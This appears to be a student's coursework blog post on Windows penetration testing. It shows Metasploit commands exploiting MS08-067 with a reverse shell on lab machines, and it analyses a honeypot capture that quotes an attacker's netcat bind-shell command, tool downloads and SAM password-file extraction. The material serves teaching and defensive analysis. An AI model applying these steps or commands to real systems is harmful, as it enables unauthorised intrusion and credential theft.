20212911陈金翔-2022-3 网络攻防实践 第六次(第八周)作业

1.知识梳理

1.1Metasploit

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

Metasploit常用命令介绍

命令

介绍

show exploit

列出metasploit框架中的所有渗透攻击模块。

show payloads

列出metasploit框架中的所有攻击载荷。

show auxiliary

列出metasploit框架中的所有辅助攻击模块。

search name

查找metasploit框架中的所有渗透攻击和其他模块。

info

展示出制定渗透攻击或模块的相关信息。

use name

装载一个渗透攻击或者模块。

LHOST

目标主机链接的IP地址。

RHOST

远程主机或者目标主机。

set function

设置特定的配置参数。

run scriptname

运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。

use priv

加载特权提升扩展模块,来扩展meterpreter库。

use incognito

加载inconito功能(用来盗取目标主机的令牌或是假冒用户)

getsystem

通过各种攻击向量来提升到系统用户权限。

shell

以所有可用令牌来运行一个交互的shell。

 

1.2ms08-067

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution). MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

1.3Windows身份认证机制

安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)

Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。

Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证和网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于"质询-应答式"的身份验证协议过程)两种;

Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程

使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解

1.4Windows攻防技术

Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。

2.实践过程

动手实践:Metasploit Windows Attack

任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;


机器角色IP
kali 攻击机 192.168.2.3
Win Server 靶机 192.168.2.6

在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。

 

 use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067 然后用show payloads显示可用payload

 

 输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接;

 

输入show options展示渗透攻击需要设置的参数;

 

 输入show targets展示可渗透攻击的靶机的操作系统及版本;

 

 输入set LHOST 192.168.2.3设置渗透攻击的主机是kali;
输入set RHOST 192.168.2.6设置渗透攻击的靶机IP;

 

 

 输入exploit开始渗透攻击;

 

成功获得win的shell,执行ipconfig成功查询到了靶机的IP

 

 

动手实践:解码一次成功的NT系统破解攻击。

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。

你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。

  • 攻击者使用了什么破解工具进行攻击?

  • 攻击者如何使用这个破解工具进入并控制了系统?

  • 当攻击者获得系统的访问权后做了什么?

  • 我们如何防止这样的攻击?

  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?




用Wireshark打开日志文件发现日志文件由以下内容组成:

  • 可识别的HTTP协议内容
  • 可识别的SQL语言代码内容
  • 可识别的系统操作代码内容
  • 不可识别的数据(二进制数据)


wireshark打开.log文件,统计>HTTP->请求

 

 按条件筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,找到No.117数据包,发现boot.ini启动,以及Unicode编码%C0%AF

 

 对No.149追踪tcp流,可以看到字符串"ADM!ROX!YOUR!WORLD"和查询语句中的dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,经查询得知,这次攻击是由rain forest puppy编写的msadc(2).pl渗透代码发起的

 

 在HTTP流中还发现了一组shell脚本代码:

 

 

通过图可以看到字符串ADM!ROX!YOUR!WORLD出现的频率很高,通过查询发现这是一个名为msadc2.pl工具发起的攻击

筛选ftp连接,发现直到编号1106连接成功的:

 

 追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

 

 在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限

 

 用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为
攻击者首先尝试列出会话,但因为权限问题被拒绝:

 

 列出用户:

 

 发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:

 

攻击者删除了samdump和pdump文件

 

 

使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:

 

攻击者知道他的目标是一台蜜罐主机,因为追踪后发现攻击者输入了如下内容echo best honeypot i've seen till now :) > rfp.txt,由此可知攻击者知道他的目标是一台蜜罐主机

 

 

Windows系统远程渗透攻击与分析

任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
我们重复实践一的步骤,在运行最后一步exploit时开启wireshark,我们可以看到靶机与攻击机的ip地址,端口信息等

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出被攻击的同学信息、使用漏洞、相关IP地址等)

被攻击者IP:192.168.1.110

使用漏洞:ms08-067

团队对抗实践:windows系统远程渗透攻击和分析。

 

kali中输入msfconsole启动msfconsole

 

输入use windows/smb/ms08_067_netapi选择使用的漏洞

 

输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接

 

输入set LHOST 192.168.1.111设置攻击机IP;

输入set RHOST 192.168.1.110设置靶机IP;

 

输入exploit开始攻击

成功执行命令

 

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

攻击者IP:192.168.1.111

 

Wireshark拦截到攻击报文

 

靶机执行并返回了攻击者的命令

3.学习中遇到的问题及解决

在访问对方的虚拟机时,即使在同一个网段里也无法访问,必须设置让对方的主机将对应的数据包转发到vm的虚拟机里才能互相连通。

4.学习感想和体会

在本次实验中,我学会了如何使用Metasploit进行漏洞攻击,这也提醒我们要即使更新官方的漏洞库,不然就很容易将自己置于危险之中。

 
好文要顶 关注我 收藏该文  
posted @ 2022-04-24 20:37  虎啊虎呀  阅读(54)  评论(0编辑  收藏  举报